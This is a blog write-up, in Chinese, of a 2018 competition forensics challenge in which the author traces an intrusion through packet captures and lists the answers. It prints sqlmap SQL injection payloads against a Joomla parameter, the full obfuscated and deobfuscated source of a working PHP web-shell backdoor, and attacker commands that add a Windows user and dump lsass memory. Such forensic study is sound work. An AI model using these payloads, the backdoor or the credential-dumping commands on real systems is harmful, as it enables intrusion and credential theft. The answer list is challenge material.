sky's blog

2018.5.5 信息安全铁人三项赛数据赛题解

字数统计: 4,038阅读时长: 19 min
2018/05/30 Share

前言

由于自己赛区的铁三比赛在最后一场,于是利用闲暇时间做了一下别的赛区的题目,这里给出5月5号比赛的数据赛做题记录
题目分享:

1
链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4

题目描述

1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
4.第一个受害主机网站数据库的名字
5.Joomla后台管理员的密码是多少
6.黑客第一次获得的php木马的密码是什么
7.黑客第二次上传php木马是什么时间
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
10.php代理第一次被使用时最先连接了哪个IP地址
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
12.黑客在内网主机中添加的用户名和密码是多少
13.黑客从内网服务器中下载下来的文件名

第一个数据包

面对巨大的流量包,过滤格外重要,这里我们先过滤为http协议
.jpg”>
可以看到202.1.1.2对192.168.1.8进行了疯狂的爆破
我们跟进一条数据,进行tcp流跟踪

1
2
3
4
5
6
7
GET /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(*'+(SELECT 'ZoHc' WHERE 1078=1078 OR (SELECT 2511 FROM(SELECT COUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(2511=2511,1))),0x716a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+' HTTP/1.1
Accept-Encoding: gzip,deflate
Host: 202.1.1.1:8000
Accept: */*
User-Agent: sqlmap/1.1.3.2#dev (http://sqlmap.org)
Connection: close
Cache-Control: no-cache

不难看出,黑客利用sqlmap在对目标站点进行不断的sql注入试探
可以确定无误,受害主机的网卡IP地址即为192.168.1.8
而注入的参数也可以清晰的看见,为list[select]
再根据回显内容

1
Status: 500 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '*'+(SELECT 'ZoHc' WHERE 1078=1078 OR (SELECT 2511 FROM(SELECT COUNT(*),CONCAT(0x' at line 1 SQL=SELECT (*'+(SELECT 'ZoHc' WHERE 1078=1078 OR (SELECT 2511 FROM(SELECT COUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(2511=2511,1))),0x716a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+',uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

目标站点数据库抛出的错误,可以清晰的看见

1
FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users

不难确定,目标站点的数据库表名前缀为ajtuc_
接着为了确定受害主机网站数据库的名字,我又进行了一次过滤

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

此时挑选最后一次注入的payload进行解码

1
GET /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(UPDATEXML(6315,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),4235))

可以清楚的看到

1
FROM joomla.ajtuc_users

可以马上确定,数据库名为joomla
为快速寻找后台管理员密码,我进行了如下筛选

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http contains "password" && http.request.method==POST

但是并没有找到有效登录
.jpg”>
.jpg”>
随机我想在sql注入中寻找密码

1
ip.dst == 192.168.1.8 && http contains "password"

.jpg”>
三条信息分别回显

1
2
3
4
5
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

可以看到数据

1
2
3
qqzvq$2y$10$lXujU7XaUviJDigqqkkq
qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq
qqzvqzi/8B2QRD7qIlDJeqqkkq

我们观察sql构造,发现具有前缀和后缀

1
2
0x71717a7671
0x71716b6b71

解码后得到

1
2
qqzvq
qqkkq

我们去掉前缀和后缀,可以得到

1
2
3
$2y$10$lXujU7XaUviJDig
FMzKy6.wx7EMCBqpzrJdn7
zi/8B2QRD7qIlDJe

于是我们可以得到完整的加密密码

1
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe

但是一直没有解密成功……有大师傅知道解法可以告诉我,thanks

第二个数据包

由于已确定目标ip,所以依旧使用以下过滤简化操作

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

.jpg”>
可以看到一个奇怪文件:

1
kkkaaa.php

我们跟进POST数据查看
.jpg”>
不难发现,是中国菜刀的流量
小马密码为zzz
接着为确定黑客第二次上传php木马的时间
我进行了过滤,因为我猜想,黑客应该是根据第一个小马来上传的第二个小马

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST

此时一条数据格外引人注目
.jpg”>
我们对其16进制进行分析
.jpg”>
将其保存为php文件
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

于是我立刻进行了解混淆

1
2
var_dump($j);
var_dump($x);

得到结果

1
2
string(15) "create_function"
string(929) "$kh="cb42";$kf="e130";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}"

此时整个小马已经清晰可见
关注最后的调用

1
2
$N = create_function('',$x);
$N();

重点在于$x,我们对其进行美化和反混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$i = $m[1][0] . $m[1][1];
$h = strtolower(substr(md5($i . "cb42"), 0, 3));
$f = strtolower(substr(md5($i . "e130"), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) {
$p .= $q[$m[2][$z]];
}
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = substr($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = "cb42e130";
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), "cb42e130"));
print "<{$k}>{$d}</{$k}>";
@session_destroy();
}
}
}
}

故此可以100%确定此为第二个小马
上传时间为:17:20:44.248365
容易看到此时有两个与HTTP头有关的参数

1
2
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

我们来确定一下数据传递部分,首先是确定小马名称

1
/var/www/html/joomla/tmp/footer.php

还是使用过滤

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

然后可以看到许多请求footer.php的页面,点开一个查看详情
.jpg”>
容易发现referer数据十分可疑,而ACCEPT_LANGUAGE较为正常
但是直接对referer进行bae64解密,显然是乱码
这里就与小马的特性有关了

1
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($s[$i], 0, $e))), "cb42e130")));

而referer传递的数据为

1
Referer: http://www.google.iq/url?sa=t&rct=j&source=web&cd=623&ved=yVf-hu8N5&ei=gcHI-OXfdeSh_r5Xd1USIw&usg=tbb8jNeT_-HithThst6Qgk5y43oMyJvSkt&sig2=VkRefVPlr8-KrYnxQ39aYE

而命令执行成功后的回显为

1
<cb42e130>G/43MmUxMzE=</cb42e130>

这里涉及加解密问题,本处就不做讨论,有兴趣的可以自行研究该小马
所以可以基本确定,木马通过HTTP协议中的Referer头传递数据
然后题目又抛出问题内网主机的mysql用户名和请求连接的密码hash是多少?
这里我选择过滤

1
tcp contains "mysql" && mysql

得到大量数据
.jpg”>
可以发现黑客应该在对Mysql的登录进行爆破
内网受害机器为192.168.2.20
我们找到最后一条登录数据
.jpg”>
此时应该可以基本确定,该值为我们需要的mysql密码hash了
答案为admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

阶段性梳理

这里可以基本确定下来这些问题的答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.黑客攻击的第一个受害主机的网卡IP地址
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
5.Joomla后台管理员的密码是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次获得的php木马的密码是什么
zzz
7.黑客第二次上传php木马是什么时间
17:20:44.248365
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

第四个数据包

我们简单过滤一下

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

可以发现
.jpg”>
目标机器已经被挂上了tunnel.php,方便外网对内网的访问
为方便查看黑客操作,我们过滤出POST请求

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST && http

答案则一目了然
.jpg”>
我们清晰的看见黑客的php代理第一次被使用时最先连接4.2.2.2这个ip

第九个数据包

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤

1
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

我们不难发现
.jpg”>
此时一条为ls,一条为dir,我们先对ls的进行验证
追踪其tcp流
.jpg”>
发现并没有执行成功
再对dir进行验证
.jpg”>
于是可以确定无误,目标系统为windows,同时dir命令执行成功
时间为:18:37:38.482420
既然该192.168.2.20的机器可以执行命令,于是我改变过滤方式,查看黑客如何进行攻击

1
ip.addr == 192.168.2.20 && http

不难发现
.jpg”>
后来黑客利用echo命令写入了一个名为sh.php的后门
我们进一步跟进黑客执行的指令,由于是中国菜刀流量,我们选择根据回显明文,猜测指令,这样更有效率

1
ip.src == 192.168.2.20 && http

.jpg”>
在18:49:27.767754时间,我们发现一条可疑数据,判断黑客应该是执行了net user的命令
那么应该黑客是准备在内网主机中添加用户了,我们进一步观察这个时间点附近的数据
在18:50:09.344660时,我们发现可疑操作
.jpg”>
这应该是黑客给某用户授予管理员权限的错误提示
发现指令

1
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user localgroup administrator star /add&echo [S]&cd&echo [E]

关键点

1
net user localgroup administrator star /add

然后在18:50:42.908737发现黑客再次执行了net user命令
此时回显为:

1
2
Administrator            Guest  
kaka star

看来黑客成功添加了管理员用户kaka
确定了大致的作案时间,我们即可使用过滤

1
ip.addr == 192.168.2.20 && http

根据之前的判断,我们可以知道
18:49:27.767754时,不存在kaka用户
18:50:42.908737时,kaka用户已成为管理员
所以可以断定作案时间点
.jpg”>
在此期间,一共4个POST请求,我们挨个查看,果不其然,在第一个POST中就发现了问题

1
2
Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

解码后

1
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

可以明显看到

1
net user kaka kaka /add

于是可以断定,用户名和密码均为kaka
然后解决最后一个问题:黑客从内网服务器中下载下来的文件名
既然是下载,应该是利用中国菜刀进行下载了,那我们只过滤出post流量,查看命令即可

1
ip.dst == 192.168.2.20 && http.request.method==POST

然后我们在数据包的最后发现如下数据
.jpg”>
我们将其解码

1
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lsass.exe&echo [S]&cd&echo [E]

发现使用了procdump.exe
同时发现文件

1
2
QzpccGhwU3R1ZHlcV1dXXGIyZXZvbHV0aW9uXGluc3RhbGxcdGVzdFxsc2Fzcy5leGVfMTgwMjA4
XzE4NTI0Ny5kbXA=

解码得到

1
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp

最后我们可以确定,黑客下载了lsass.exe_180208_185247.dmp文件

答案总结

所以我们可以确定完整的答案为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1.黑客攻击的第一个受害主机的网卡IP地址
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线 例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
5.Joomla后台管理员的密码是多少
$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe(未解密)
6.黑客第一次获得的php木马的密码是什么
zzz
7.黑客第二次上传php木马是什么时间
17:20:44.248365
8.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
9.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
10.php代理第一次被使用时最先连接了哪个IP地址
4.2.2.2
11.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
18:37:38.482420
12.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
13.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 题目描述
  3. 3. 第一个数据包
  4. 4. 第二个数据包
  5. 5. 阶段性梳理
  6. 6. 第四个数据包
  7. 7. 第九个数据包
  8. 8. 答案总结